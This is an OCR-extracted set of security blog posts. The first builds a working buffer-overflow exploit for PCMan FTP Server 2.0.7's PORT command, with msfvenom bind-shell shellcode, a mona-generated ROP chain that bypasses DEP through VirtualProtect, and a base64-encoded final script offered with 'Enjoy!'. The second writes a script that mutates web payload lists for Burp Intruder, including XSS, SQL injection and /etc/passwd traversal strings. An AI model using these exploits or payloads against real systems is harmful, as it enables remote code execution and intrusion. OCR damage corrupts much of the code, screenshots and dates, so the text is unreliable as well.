So what | decided to do was to quickly recreate the exploit and check it out again. Let’s start here:

View basic information about your computer
Windows edition

Windows 7 Home Basic

-

System Properties =] 1
Computer Name Advg Performance Options (=3
You must be logged on as an Adn| | Visual Effects Data Execution Prevention

Performance

Visual effects. processor schedyl

(@ Turn on DEP for essential Windows programs and services
only
User Profiles _ ' .
() Turn on DEP for all programs and services except those I
Dieskiop settings related to your select:

Rewrited poc:

root@kali:/home/c/src/pcm# cat pcm06.py
#!/usr/bin/env python

# pcman ftp server 2.0.7 PORT poc
#13.12.2020

#

import socket, sys

junk = "\x41'*2006
ret = "\x8b\x7a\xa3\x74" # jmpesp:"BBBB"
nops = "\x90"*130

# msfvenom -p windows/shell_bind_tcp LHOST=192.168.1.174 LPORT=4444 -b
# "\x00\x0a\x0b\x27\x36\xce\xc1\x04\x14\x3a\x44\xe0\x42\xa9\x0d' -f py
sc= b""

sc += b"\x33\xc9\x83\xe9\xae\xe8\xfA\xfAAxff\xff\xcO\x5e\x81"

sc += b"\x76\x0e\xb3\x8c\xb7\x17\x83\xee\xfc\xe2\xf4\x4f\x64"
sc += b"\x35\x17\xb3\x8c\xd7\x9e\x56\xbd\x77\x73\x38\xdc\x87"
sc += b"\x9c\xe1\x80\x3c\x45\xa7\x07\xc5\x3f\xbc\x3b\xfd\x31"
sc += b"\x82\x73\x1b\x2b\xd2\xfO\xb5\x3b\x93\x4d\x78\x1a\xb2"
sc += b"\x4b\x55\xe5\xe1\xdb\x3c\x45\xa3\x07\xfd\x2b\x38\xc0"
sc += b"\xa6\x6f\x50\xc4\xb6\xc6\xe2\x07\xee\x37\xb2\x5f\x3c"
sc += b"\x5e\xab\x6f\x8d\x5e\x38\xb8\x3c\x16\x65\xbd\x48\xbb"
sc += b"\x72\x43\xba\x16\x74\xb4\x57\x62\x45\x8f\xca\xef\x88"
sc += b"\xf1\x93\x62\x57\xd4\x3c\x4f\x97\x8d\x64\x71\x38\x80"
sc += b"\xfc\x9c\xeb\x90\xb6\xc4\x38\x88\x3c\x16\x63\x05\xf3"
sc += b"\x33\x97\xd7\xec\x76\xea\xd6\xe6\xe8\x53\xd3\xe8\x4d"
sc += b"\x38\x9e\x5c\x9a\xee\xe4\x84\x25\xb3\x8c\xdf\x60\xc0"
sc += b"\xbe\xe8\x43\xdb\xc0\xc0\x31\xb4\x73\x62\xaf\x23\x8d"
sc += b"\xb7\x17\x9a\x48\xe3\x47\xdb\xa5\x37\x7c\xb3\x73\x62"
sc += b"\x7d\xbb\xd5\xe7\xf5\x4e\xcc\xe7\x57\xe3\xe4\x5d\x18"
sc += b"\x6c\x6c\x48\xc2\x24\xe4\xb5\x17\xa2\xd0\x3e\xf1\xd9"
sc += b"\x9c\xe1\x40\xdb\x4e\x6c\x20\xd4\x73\x62\x40\xdb\x3b"
sc += b"\x5e\x2f\x4c\x73\x62\x40\xdb\xf8\x5b\x2c\x52\x73\x62"
sc += b"\x40\x24\xe4\xc2\x79\xfe\xed\x48\xc2\xdb\xef\xda\x73"



https://code610.blogspot.com/2019/06/basic-protocol-fuzzing.html

sc += b"\xb3\x05\x54\x40\xe4\xdb\x86\xe1\xd9\x9e\xee\x41\x51"
sc += b"\x71\xd1\xd0\xf7\xa8\x8b\x16\xb2\x01\xf3\x33\xa3\x4a"
sc += b"\xb7\x53\xe7\xdc\xe1\x41\xe5\xca\xe1\x59\xe5\xda\xe4"
sc += b"\x41\xdb\xf5\x7b\x28\x35\x73\x62\x9e\x53\xc2\xe1\x51"
sc += b"\x4c\xbc\xdf\x1f\x34\x91\xd7\xe8\x66\x37\x47\xa2\x11"
sc += b"\xda\xdf\xb1\x26\x31\x2a\xe8\x66\xb0\xb1\x6b\xb9\x0c"
sc += b"\x4c\xf7\xc6\x89\x0c\x50\xa0\xfe\xd8\x7d\xb3\xdf\x48"
sc += b"\xc2"

junk2 ="C"* (3000-len(junk+ret+nops+sc))
buffer= junk + ret + nops + sc + junk2

s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
target = sys.argv[1]
connect=s.connect((target,21))
banner = s.recv(1024)

print banner

s.send('USER anonymous\r\n')
s.recv(1024)

s.send('PASS mail@me.com\r\n')
s.recv(1024)

s.send('PORT' + buffer + "\r\n') # bOOm
s.close()

root@kali:/home/c/src/pcm#

Now, checking:

LR

I 7
f | Anonymous 192168110 47)(2020/12/13 [06:38]

§2.168.1.10> User connecting from 152.168.1.10

@ c@kali: ~/src/pem
buf += b"

buf += b"

Volume in drive C has no label.

So far — looks good. Well... It’s time to go deeper... ;]




Hardened Scenario
Let’s go back to the MyComputer settings to change DEP, we should be here:

Windows 7 Home Basic

System Properties 8 ]

Computer Name | Hardware | A49vd  Performance Opticns @

You must be logged on as an Adn) | Visual Effects | Advanced | Data Execution Prevention

Performance

against damage from viruses and other security

Visual effects, processor schedu ) : Data Execution Prevention {DEF) helps protect
threats. How does it work?

Turn on DEP for essential Windows programs and services
only

User Profiles , .
@) iTurn on DEP for all programs and services except those I}
Desktop settings related to your elect:

Click Apply, next OK and reboot the system. After a while we should be here, checking again if our
exploit still works:

Y EEIGTE | Documents
: $ telnet 192.168.1.174 4444 Music
ying 192.168.1.174... “ ) )
- = Pictures 7 g
telnet: Unable to connect to remote host: Connection refuse E _‘C‘ e SR e oe =l
¢ Videos
s [l @ PCMan's FTP Server has stopped working
1%/ Computer Windows can check online for 2 solution to the problem.
S Netwark < Check online for a solution and close the program
python pcm@6.py 192.168.1.174 =+ Close the program
FTP Server 2.0 Ready.
i ) View problem details

BN C\Windows\system32\emd.exe

LISTENING
LISTENING
LISTENING

Nserscine at —anifindstr "LIST indstr 44"
IGcP

.B:445 a LISTENING
1445 [:: LISTENING

iNlserscine at —anifindstr» "LIST findstr "44"
TCcP A.0.0.0:445 9.0.0. LISTENING
TGP [ 445 [ LISTENING

It will not ;[ So at this stage we can switch to something new — DEP bypass. One of the way to do it is
to use VirtualProtect()[4] function.

It ,,looks similar” to the cases when we were able to run shellcode with mprotect()[5]. To do it we’ll
use !mona[3]. So now we should be somewhere here:

BBADF ABD Progress update : 96088 / 183188 items processed (Sun 2028/12/13 18:84:35 AM) - (93%)
Progress update : 97088 / 183188 items processed (Sun 2828/12/13 18:85:83 AM) - (94%)
Progress update : 98088 / 183180 items processed (Sun 20826/12/13 18:85:36 AM) - (0u%)
Progress update : 99000 / 103180 items processed (Sun 2028/12/13 10:86:11 AM) - (95%)
Progress update : 100080 / 103180 items processed (Sun 2020/12/13 10:06:44 AM) - {96%)
Progress update : 101000 / 183180 items processed (Sun 2020/12/13 10:07:16 AM) - (97%)
Progress update : 162000 / 103180 items processed (Sun 20820/12/13 10:87:50 AM) - (98%)

update : 1838688 / 103188 items processed (Sun 2828/12/13 18:88:17 AM) - (99%)
update : 183188 / 103188 items processed (Sun 2828/12/13 10:88:23 AM) - (106%)

Creating suggestions list

Processing suggestions

Launching ROP generator

Attempting to produce rop chain for UirtualProtect

Sun 2020/12/13 step 1/7: esi

Sun 2820/12/13 Step 2/7: ebp

Sun 2828/12/13 3/7: ebx

Sun 2828/12/13 Wi7: edx

Sun 2828/12/13 5/7: ecx

Sun 2828/12/13 6/7: edi

Sun 2826/12/13 86 AM: Ste F7: eax

Attempting to produce rop chain for Uirtualnlloc

Sun 2020/12/13 86 AM: Step 1/7 i

Sun 2820/12/13 Step 2/7:

Sun 2828/12/13 Step 3/7:

Sun 2828/12/13 Step 4/7:

Sun 2828/12/13 Step 5/7:

Sun 2828/12/13 Step 6/7:

Sun 2826/12/13 Step 7/7:

Preparing output file 'rop_chains.txt'

- (Re)setting logfile rop_chains.txt

B8BADF 88D ROP chains written to file rop_chains.txt

o T ko a

-

Well... yep, it took a while ;D But finaly we should be here:


https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualprotect
https://man7.org/linux/man-pages/man2/mprotect.2.html
https://github.com/corelan/mona

Python ]
create_rop_chai
rop chain ated with mona.py www.corelan.be

POP # RETN [RPCRT4.d11]
ptr VirtualAalloc() [IAT msvucrt.dll
MOU E ,DWORD PTR DS:[ECX] # ADD DH,DH # RETN [MSCTF.d11]
POP EBP # RETN [IPHLPAPI.DLL]
& call esp [DNSAPI.d11]
POP EAX # RETN [ole32.d11]
VUalue ¢t become o0000001
NEG EA -
XCHG EAX 3 -d11]
XK7613057 POP EAX
7FF90Fa9 put delt: & { 00001000 into ed
758 Be 805 ADD EA 700 POP EBP ## RETN Ox08 [ole3
31515141, i re )
762ae96b, “HG < [SHELL32.d11]
3151514587, ( compen tion
1518181, i - compen
105b2e3, d11}
FFFFfco, » ome Ox00000040
E # RETHN SHEL
XCHG EAX,E #n TN
5d1093a, POP EDI # RETN [msuc
7608chc12 RETN (ROP NOP)
5d342F9 , POP { # RETN
20909090, nop
+08c258, PUSHAD # RETHN [COMCT

dyin{struct.pack("<I1", - i rop_gadget

rop_chain create_rop_chain()

ona rop -m *.dll -cp nonull

More:

ROP generator finished

Preparing output file "stackpivot.tx=t’

- {Re)setting logfile stackpivot.txt

Writing stackpivots to file stackpivot.txt

Wrote 57819 pivots to file

Preparing output file 'rop_suggestions.txt®

- (Re)setting logfile rop_suggestions.txt

Writing suggestions to file rop_suggestions.txt

Wrote 38558 suggestions to file

Preparing output file ‘rop.txt’®

- {Re)setting logfile rop.txt

Writing results to file rop.txt (165927 interesting gadgets)
Wrote 165927 interesting gadgets to file

Writing other gadgets to file rop.txt (138665 gadgets)
Wrote 138665 other gadgets to file

action took 2:12:38.9438608

| mona rop -m *.dll -cp nonull

At this stage | updated previous poc code like it is presented on the screen below:

def create rop_chain():

# rop chain generated with mena.py - WwW.corelan.be
rop_gadgets = [

0x7555042c, # POP ECX # RETN [RPCRT4.dll]

0x75c41920, # pir to &VirtualProtect() [IAT kernel32.dll]
0x7565fd52, # MOV ESI,DWORD PTR DS:[ECX] # ADD DH,DH # RETN [MSCTF.dll
0x76d53£37, § POF EBP # RETN [msycrt.dll]

0x737b3c10, # & call esp [NLAapi.dll]

0x76d3a837, # POP EAX # RETN [msvcxt.dll]

Oxf£££fdff, # Value to negate, will become 0x00000201
0x754ff3a8, # NEG EAX # RETN [RPCRT4.dll]

0x740e4518, # XCHG EAX,EBX # RETN [COMCTL3Z.dll]
0%7405b2d7, # POP ERX # RETN [COMCTL32.dll]

Oxffffffc0, # Value to negate, will become 0x00000040
0%7556b5£2, # NEG ERX # RETN [RPCRT4.dll]

0x763835c0, # XCHG ERX,EDX # RETN [SHELL32.dll]
0x760d3d23, # PCP ECX # RETN [SHELL32.dll]

0x75759f7f, # &Writable location [GDI32.d11]

0x74%b4f4a, § POP EDI # RETN [DNSAPI.dll]

0x760cdcl2, # RETN (ROP NOP) ([SHELL32.d1l]

0x762fa207, # POP EAX # RETN [SHELL32.dll]

0x90809090, # nop

0x7409déb4, # PUSHAD # RETN [COMCTL32.dll]

1
return

.join(struct.pack('<I', _) for _ in rop_gadgets) 1

rop_chain = create_rop_chain ()

So | restarted ImmunityDbg (Ctrl+F2;F9):

Q Immunity Debugger - er - er - er - - [CPU - main thread, r

ﬁ PCMan's FTP Server [Onling] - 1921681195




Start the poc and... now we should be here:

= User connecting from 152.168.1.10

: |JSER anonymous

x 331 Usger name okay, need password.

cp pcm@6.py pcm@7.py

vim pcm@7.py

python pcm@6.py 192.168.1.195
Ready.

Subnet |
Default

Tunnel adaj

Hedia St
Connect:

indstr 44"
LISTENING
LISTENING

|!muna rop -m *.dll -cp nonull
[16:=28:48]1 Access violation when executing [74A37A8B]1 - use Shift+F?/FB-F? to pass

What did | missed? ;> Well — we’ll see. Below you’ll find a few slightly modification of our poc, for
example, here:

#
import socket, sys
import struct

(...)

junk ="\x41'*2006

ret = "\x8b\x7a\xa3\x74" # jmpesp:"BBBB"

nops = "\x90"*130

# msfvenom -p (...)

(...)

#junk2 ="C"* (3000-len(junk+ret+nops+sc))

junk2 ="C" * (3000 - len(junk + rop_chain + nops + sc))
#buffer= junk + ret + nops + sc + junk2

buffer = junk + rop_chain + nops + sc + junk2

(...)

| also decided to use another shellcode (generated with msfvenom[7] again) — CMD with calc.exe.
Tried again and unfortunately | wasn’t able to run calc (or run listener on the host). Then | found this
issue described:


https://code610.blogspot.com/2018/08/venomesh-simple-msfvenom-generator.html

© & https://github.com/corelan/mona/issues/19

w HUUUY 1200 UPETTEU LIS I33UE UL 1) IVIalh £U T * £U CUNTITTIETN I

huddy1985 commented on 15 Mar 2017

When | using the mona.py to create the Rop chains, then it stop
at this pos:

Well. Maybe that’s the case | thought —so | downloaded ‘latest’version of Imona[3] and restarted all
the scenario one more time. As you will see on the screen below | also changed the value for POP
ECX RETN instruction (screen with !mona rop output).

At this stage I'll recommend you this page[9]. Of course you can do similar checks using
/Jusr/share/metasploit-framework/tools/exploit/nasm_shell.rb available on Kali Linux.

But for our case - let’s try it now:

U & https://defuse.ca/online-x86-assembler. htms#disa{

Array Literal: <& Immunity Debugger - er - r - er - - [CPU - main thread]
[E] File View Debug Plugins Immlib Options Window Help Jobs

O% T WX M M I emewhcP kb2 or.. s 2 ey

{ 0x83, 0xC4, 0x04 }

Disassembly:

0: 83 c4 04

@ root@kali

t.d11]
11 become @x®
RPCRT4.d11]
XCHG EAX,EBX # R
POP EAX # RETN [
Value to negat
NEG EAX # RETN [RPCRT4.d11]
EDX # RETN [SHEL
0 3d23 # POP ECX # RE SHELL32.d11]
&writable location [GDI32.d11]
PO T.d11]
RET OP NOP) [S .d11]
POP EAX # RE
nop
PUSHAD # RETN
1

return '’ n(struct.pack(

rop_chain = create_rop_chain()

{ecuting [454545451 — use Ghift+F7/F8/F9 to pass exception to progran

Ok, looks , better” — for me at this stage ,better” is the same as: , 0k | think | know where is the
destroyer of my payload...,,. | decided to restart PCMan server in debugger again. This time when
crash occured | tried to regenerate rop_chain() using /Imona again. As you can see below — just to be
sure that the payload is indeed working as we wanted — | set a breakpoint(F2) to one of the
commands before our POP ECX RETN (0x45454545) instruction:

S Immunity Debugger - er - er - er - - [CPU - main thread, module SHELL32]
@ File View Debug Plugins ImmLib  Options Window Help Job
OB TR MAX P I Wi li+ ] emtwh

Adding a little modification to our poc:


https://github.com/corelan/mona

def create_rop_chain():
# rop chain generated with mona.py - www.c
p_gadgets
POP ECX # RETN [RPCRTA4.
ptr to &vWirtualProtect(
MOV ESI,DWORD PTR DS: [E

POP EBP # RETMN [mswvcrt.
& call esp [MLAapi.dll]
POP EAX # RETMN [mswvcrt.
Value to negate, will b
NEG EAX # RETN [RPCRT4.
XCHG EAX,EBX # RETN [CO
POP EAX # RETN [COMCTLS3
Value to negate, will b
MNEG EAX # RETN [RPCRTA4._
KXCHG EAX,EDX # RETHM

HO» 5454545, #OxT76

HEHBHAEHERSE HER

# &Writable location [GDI]

35 s NN AF

[28:86:181 Breakpoint at SHELL32.76383LCH

Looks like we are on a good way! ;) Continue with F8:



% O WX P I s FE A= [ emtwhcPEkbzr.s ?HE

FFFFFFFF]
FFFFFFFF]
FFFFFFFF]

Unkn{

@ PCMan's FTP Server has stopped working

Windows can check online for 2 solution to the problem,

= Check online for a solution and close the program

=+ Close the program

A) Hide problem details

Fault Module Mame: StackHash_G11b
Fault Module Version: 0.0.0.0

Fault Module Timestamp: 00000000
Exception Offset: 0012ed30
Exception Code: <000001d
Exception Data: badcdel

08 Version: 6.1.7600.2.0.0.768.2
LocaleID: 1033

Ldditinnal Tnfarmation 1. Allh
4 I

Restart of the Immunity debugger as well as generating new payload with msfvenom (EXEC with
calc.exe) and we should be here:



[FFFFFFFF)
)

1
EOI#Z1, EH

# vim

PCMan's FTP Server

| | E

| [22:43:171 I1legal instruction — use Shift+F?-F8/F? to pass exception to program | [Paused

According to my previous adventures[6] —,,/llegal instruction” can be a good indicator that we are on
a good way. | still wasn’t sure what’s wrong here so | decided to investigate it a little bit longer...

After a while — we are here:

! fusr/binfenv python @
pcman ftp server 2.0.7 PORT poc

socket, €} Immunity Debugger - er - er - er - - [CPU - thread 00000FF8, module ntdl]
struct File View D Plugins Immlib Options Window Help Jobs

= i o Ta v T
. . 1% lemtwhocP k]l
ef create_rop_chain( | Caleulator = = =
# rop chain generated with mona.py - www.corelan.be
rop_gadgets

View Edit Help

# POP ECX # RETN [RPCRT4.d11]

# ptr to &irtualProtect() [IAT kernel32.d11]

# MOV ESI,DWORD PTR DS:[ECX] # ADD DH,DH # RETN [MSCTF.dll1]
# POP EBP # RETN [msvcrt.dll]

# & call esp [NLAapi.dll1]

# POP EAX # RETN [msvcrt.dll] E
#axfffffdff, # Value to negate, will become @x 320 b / % 11.Rt1CaptureConted
# NEG EAX # RETN [RPCRT4.d11] H

# XCHG EAX,EBX # RETN [COMCTL32.d11]

# POP EAX # RETN [COMCTL32.d11] W
# Value to negate, will become Bx€ 8207FDF8
# NEG EAX # RETN [RPCRT4.d11] : 8297FDFC
# XCHG EAX,EDX # RETN [SHELL32.d11] 6297FEBR

ESP

#0x45454545, #0x760d3d23, # POP ECX # RETN [SHELL32.d11] |Jawi1ois =0 62 us 49 69 a5 N 8207FEDS
# &Writable location [GDI32.c 0B441678 78 B9 43 00 BS 09 i 8297FEQC
PO DT_ii N[ DN

R c A_ar 8297FE10

As you can see | changed the value of the ,value to negate” — | believe we are ready to use our
calculator-loader presented in the table below. Enjoy! ;)

root@kali:/home/c/src/pcm# cat pcm09.py | base64
lyEvdXNyL2Jpbi9lbnYgcHI0aG9uCiMgcGNtYW4gZnRwIHNIcnZIciAyLjAuNyBQT1JUIHBvYwoj
IDE1LjEyLjlwMjAgOyBmb3IgREVQCIMKaW1wb3JOIHNvY2tldCwgc3lzCmltcG9ydCBzdHI1Y3QK
CmRIZiBjcmVhdGVfcm9wX2NoYWIuKCk6CiAglyByb3AgY2hhaW4gZ2VuzXJhdGVkIHdpdGggbW9u
YS5weSAtIHd3dy5jb3JIbGFuLmJICiAgcm9wX2dhZGdIdHMgPSBbCiAgICAgIDBANZUINTAOMMMs
ICAjIFBPUCBFQ1gglyBSRVROIFtSUENSVDQUZGxsXSAKICAgICAgMHg3NWMOMTkyMCwglCMgcHRy
IHRVICZWaXJOdWFsUHJvdGVjdCgplFtJQVQga2VybmVsMzluZGxsXQoglCAgICAweDc1NjVmZDUy
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LCAglyBNT1YgRVNJLERXT1JEIFBUUIBEUzpbRUNYXSA]IEFERCBESCXESCA]jIFJFVE4gWO1TQ1RG
LmRsbFOgCiAgICAgIDB4NzZKNTNmMzcsICAjIFBPUCBFQIAglyBSRVROIFttc3ZjcnQuZGxsXSAK
ICAgICAgMHg3MzdiM2MxMCwgICMgJiBjYWxsIGVzcCBbTkxBYXBpLmRsbFOKICAgICAgMHg3NmQz
YTgzNywgICMgUE9QIEVBWCA|jIFJFVE4gW21zdmNydC5kbGxdIAogICAgICAweDMxMzEzMTMXLCA]
MHhmZmZmZmRmZiwgICMgVmFsdWUgdG8gbmVnYXRILCB3aWxsIGJIY29tZSAweDAwWMDAwWMI]AxCiAg
ICAgIDB4NZUOZmYzYTgsICAJIESFRyBFQVgglyBSRVROIFtSUENSYDQUZGXsXSAKICAICAgMHg3
NDBINDUxOCwgICMgWENIRyBFQVgsRUJYICMgUKVUTiBbQO9NQ1RMMzIuZGxsXSAKICAgICAgMHg3
NDA1YjJkNywglCMgUESQIEVBWCAjIFJFVE4gWONPTUNUTDMyLmRsbFOgCiAgICAgIDB4ZmZmZmZm
YzAsICAjIFZhbHVIIHRVIG51Z2F0ZSwgd2IsbCBiZWNvbWUgMHgwMDAwWMDAOMAogICAgICAweDcl
NTZiINWYyLCAglyBORUcgRUFYICMgUKVUTiBbUIBDUIQOLMRsbFOgCiAgICAgIDBANZYzODM1YzAs
ICAjIFhDSECgRUFYLEVEWCA|IFJFVE4gW1NIRUXMMzIuZGxsXSAKICAgICAgMHg3NTUyMWMwNSwg
ICMweDQ1INDUONTQ1LCAjMHg3NjBkM2QyMywgICMgUE9SQIEVDWCA|jIFJFVE4gW1NIRUXMMzIuZGxs
XSAKICAgICAgMHg3NTc10WY3ZiwglCMglldyaXRhYmxIIGxvY2FO0aW9ulFtHREkzMiS5kbGxdCiAg
ICAgIDB4NzQ5YjRmNGESICAjIFBPUCBFREkglyBSRVROIFtETINBUEKUZGxsXSAKICAgICAgMHg3
NjBjNGMxMiwglCMgUkVUTiAoUk9QIE5PUCkgW1NIRUXMMzluZGxsXQogICAgICAweDc2MmZhMjA3
LCAglyBQT1AgRUFYICMgUKVUTiBbUOhFTEwzMi5kbGxdlAogICAgICAweDkwOTA5MDkwLCAglyBu
b3AKICAgICAgMHg3NDAS5ZDZiNCwgICMgUFVTSEFEICMgUkVUTiBbQO9INQIRMMzIuZGxsXSAKICBd
CiAgcmV0dXJulCcnLmpvaW4oc3RydWNOLnBhY2solzxJlywgXykgZm9ylF8gaW4gcm9wX2dhZGdl
dHMpCgpyb3BfY2hhaW4gPSBjcmVhdGVfcm9wX2NoYWIuKCkKCgpqdW5riD0gJ1x4NDEnKjlwMDYK
c¢mVO0IDO0gIIx40GJceDdhXHhhM1x4NzQilCMgam1wZXNwOiJCQkJClgojbm9wcyA9ICIceDkwliox
MzAKbm9wcyA9ICIceDkwlioxMDAKCiMgbXNmdmVub20gLXAgPiBjYWxjLmV4ZQpzYyA9ICBililK
c2MgKz0gYilceDMzXHhjOVx4ODNceGUS5XHjZIx4ZThceGZmXHhmZIx4ZmZceGZmXHhjMFx4NWVc
eDgxlgpzYyArPSBillx4NzZceDBIXHhmZVx4YmVceGY3XHgzZFx4ODNceGVIXHhmY1x4ZT)ceGYO
XHgWMIx4NTYiCnN;jICsOIGIiIXHg3NVx4M2RceGZIXHhiZVx40TdceGIOXHgxYIx40GZceDM3XHg1 1x4YjMiCnNj
ICs9IGIiIXHgxOVx4ZGFceGU1XHhhY1x4NWNceGE3XHhINFx4YTZceGMyXHgXZVx4ZTFceGE4AXHg2
NylKc2MgKz0gYiJceDc1XHhhY1x4MWNceGlwXHhhM1x4ZDRceGY2XHhiMFx4N2JceDBjXHhmN1x4
M2RceGZlIgpzYyArPSBillx4ZWVceDImXHgwY 1x4NzVceGQxXHg3MFx4Yz)ceDJiXHgwNVx4MDdc
eDg4XHg1Y1x4ZTgiCnNjlICs9IGIiXHg5ZIx40WJceDZiXHgwM 1x4NmFceGMyXHgyYIx40DJceGYx
XHgOMVx4ZjRceDNIXHgwYylKc2MgKz0gYiJceGRkXHg4YIx4YmJceDRjXHg3YVx4ZWRceGNjXHg5
OFx4NTdceGZIXHhIZFx4MDhceGU4IgpzYyArPSBillx40WRceGRmMXHg5YIx4ANWVceGQwXHhkYIx4
0GZceDU4XHhmZVx4YmVceGY3XHgzZCIKCgojanVuazlgPSAiQylqlCgzMDAwWLWxIbihqdW5rK3JI
dCtub3BzK3NjKSkKanVuazlgPSAiQylgKiAoMzAwMCAtIGxIbihgqdW5rICsgcm9wX2NoYWIulCsg
bm9wcyArIHNjICkpCiNidWZmZXI91GplbmsgKyByZXQgKyBub3BzICsgc2MgKyBqdW5rMgpidWZm
ZX1gPSBqdW5rICsgcm9wX2NoYWIulCsgbm9wcyArIHNjICsganVuazlKcHIpbnQgbGVuKGI1Zmz|
cikKCnM9c29ja2VOLNNvY2tldChzb2NrZXQuQUZfSU5FVCwgc29ja2VOLINPQOtfUIRSRUFNKQpO
YXJnZXQgPSBzeXMuYXIndIsxXQpjb25uZWNOPXMuY29ubmVjdCgodGFyZ2VOLDIXKSkKYmFubmVy
ID0gcy5yZWN2KDEwM]jQpCnByaW50IGJhbm5lcgpzLnNIbmQoJ1VTRVIgYWSvbnltb3VzXHJcbicp
CnMucmVjdigxMDIOKQpzLnNIbmQoJ1BBU1MgbWFpbEBtZS5jb21cclxulykKcySyZWN2KDEwMjQp
CnMuc2VuZCgnUE9SVCcgKyBidWZmzXIgKyAnXHJcbicplCMgYjAwbQpzLmNsb3NIKCkKCg==
root@kali:/home/c/src/pcm#

Cheers
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2 - Trying harder

3 - Imona(-,me”)

4 —You love to read this page
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6 — Few other notes for you

7 — Simple msfvenom generator

8 — Nice to check!
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MODIFYING INTRUDERS




Intro
Some time ago | promissed myself that | will try to extend my list of payloads used during webapp
pentests. Let’s say for our case the scenario will look like this:

- we already have our list_of payloads.txt
- webapp is filtered ,somehow” — so we need to find a way for bypass and injection.

The (slow and) easy way to do it is simply sending one-by-one character to the application to see if
our input is echo’ed back. Looks pretty easy. My goal was to modify my list and add (that) ,new
character” before every string in the payload file. When script will finish you should find a new
created file with payloads modifications.

This file can later be used with Burp’s Intruder during (y)our pentest/CTF adventures[1]. ;)

Let's try...


https://code610.blogspot.com/p/mini-arts.html

Environment
For this case my environment was pretty easy: | used latest Kali 2020.2 where you can find python
installed by default:

:~% uname -a

Linux kali 5.6.8-kali2-686-pae #1 SMP Debian 5.6.14-1kalil (2020-85-25) i686 GNU/Linux
:~$ 1sb_release -a

No LSB modules are available.

Distributor ID: Kali
Description: Kali GNU/Linux Rolling
Release: 2020.2

Codename: kali-rolling
:~$ python
Python 2.7.18 (default, Apr 20 2020, 20:30:41)
[GCC 9.3.8] on linux2
Type "help®", "copyright®, "credits" or "license" for more information.

55>
= |

So far, so good. Next what we’ll need here is Burp Suite[2]. Free or not — doesn’t really matter in this
example (but proffesional version is much, much faster if we’re talking about Intruder tab).

Let’s move forward if you're ready.

Quick example
| started Kali VM and created new file in terminal to start my super-python-script. ;]

For now we should be somewhere here:

import sys

payloads = (sys.argv[ 1,

def ():

In case of the payload_list_file.txt — the exercise for you is to find a ‘the best one for you’ somehere
at Github ;) but for this example scenario — | prepared a small list of very basic payloads. It should be
good as well for our purposes:

>”><script>alert(1)</script>
1 or1="1
<h1>test</h1>

Ok, so far, so good. Our sample-payload-list is ready so we can go back to our script. Let’s add few
more lines:


portswigger.net

payloads = (sys.argv[ ],

d ():

counts=
lines = payloads.readlines()

while(count > 1):

\n~ + *
for line in lines:

( (count) + line);
count-=

3
\n o+

payloads.close()

if __pame__ in
main()

(count) +

As you can see the script is extremely simple ;] Let’s try to run it with our payload_list.txt:

<hil>test

“'>"><body/onload=prompt(123)>

o/ /). /etc/passwd

%0a%0aGET /2 HTTP/1.0

%2f .. %2f .. ¥2fetc/issue%00
: $

in main()

Iteration: 14
<hl>test

“'>"><body/onload=prompt(123)>
wl/ o/ /. [etc/passwd
%0a%0aGET /2 HTTP/1.0

%2f .. %2f .. ¥2fetc/issue%00

<hl>test

“'>"><body/onload=prompt(123)>

oo/ o/ /.. /etc/passwd
%0a%0aGET /2 HTTP/1.0

%2f .. %2f .. ¥2fetc/issue%00

Can you see the bug? ;> Someone used wrong <> character ;) We'll fix it below and present some
later in iteration (because on the screen above our mutation is not visible). So — fix and restart and

we should be here:

$ cat payloads2.txt

$ ./intruebe.py payloads2.txt



zX0a%0aGET /2 HTTP/1.0

z%2f .. %2f .. ¥2fetc/issueX00

{<hi>test

{ '>"><body/onload=prompt(123)>
{../../../. /etc/passwd
{%0aX@aGET /2 HTTP/1.0

{%2f .. %2f .. ¥2fetc/issueX00

Next:

= Iteration:

| " *>"><body/onload=prompt{123)>
| o o ¥ oo f .. fetc/passwd
|X@aXe@aGET /2 HTTP/1.@

|%2F .. %2f .. X2fetc/issuex0@

>"s<body/onload=prompt(123)>

Of course our script is not ready yet. What I’d like to add is: save to output file and a little bit of grep
to extract the lines | can finally use in the final_output_with_payloads.txt file ;) Let’s continue here:

payloads = (sys.argv[ 1,
output = (

counter=
():
count=
lines = payloads.readlines()

vhile(count < counter):
* + (count) +

line in lines:

output.write( (count) + line )

count+=

payloads.close()

"intruebe.py" 51L, 903C written




Let’s try to run it now... to see that there is an encoding error when we’re trying to write an output to
the new file. Let’s try to fix it. On the screen below you’ll find updated version of the initial script:

payloads (sys.argv[1],
output = ( '

counters=

count=
lines = payloads.readlines()

while(count < counter):
*0 4 (count) +

for 1ine in lines:
ready_line = (count).encode( ) + (line).encode(
uutput.write{ready_linel

count+=

payloads.close()

if _ name__ i
main()

For our testing purposes | preared a new payload_file — this time only with one payload string.
Restarting:

- $ cat payloads3.txt
chl>test<hr>test</hil>
= $ ./intruebe.py payloads3.txt
in main()
Iteration:

Iteration:
Iteration:

Iteration:
Iteration:

T e o o= e o o s

After a while you should see a results file in the same directory:



<hl>test<br>test</ hil>

<hl>test<br>test</hi>

<hl>test<br>test</hil>
<hl>test<br>test</hi>

<hl>test<br>test</hil:>
<hl>test<br>test</hi>

<hl>test<br>test</hi>
<hl>test<br>test</hil>
<hl>test<br>test</hil>
<hl>test<br>test</hil>
<hl>test<br>test</hil>
<hl>test<br>test</hil>
<hl>test<br>test</hi>
<hl>test<br>test</hi>
<hl>test<br>test</ hil>
<hl>test<br>test</hi>
<hl>test<br>test</hil>
<hl>test<br>test</hil>
B<hi>test<br>test</hi>
<hl>test<br>test</hil>
P<hi>test<br>test</hi>
hiztest<br>test</hi>
<hl>test<br>test</hi>
<hl>test<br>test</ hil>
<hl>test<br>test</hi>
<hl>test<br>test</hil>
<hl>test<br>test</hi>
I<hi>test<br>test</hi>
"<hi>test<br>test</hi>
#i<hil>test<brrtest</hi>
$<hl>test<br>test</hi>
E<hl>test<br>test</ hi>
G<hl>test<br>test</ hi>
‘chi>test<br>test</hi>
(<hil>test<br>test</ hi>
J<hil>test<br>test</ hil>
#*<hl>test<br>test</hi>

So far so good. Our new payload list is ready so next step should be to verify if we can bypass that
vulnerable webapp or not... ;]

Of course — as usual[1] — the script is only a ,simple skeleton”. | decided to not add there any
features like ,,now send this new payload to xyz...” but feel free to extend it if you need that.

This is only a beginning... ;)

® Payload Options [Simple list]

This payload type lets you configure a simple list of strings that are used as payloads.

Paste

| Load.. |
| Remove |

| Clear

| Add | Enter

| Add from st ... )

,Good luck & have fun!”
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RED-HAD-NESS-US




Intro

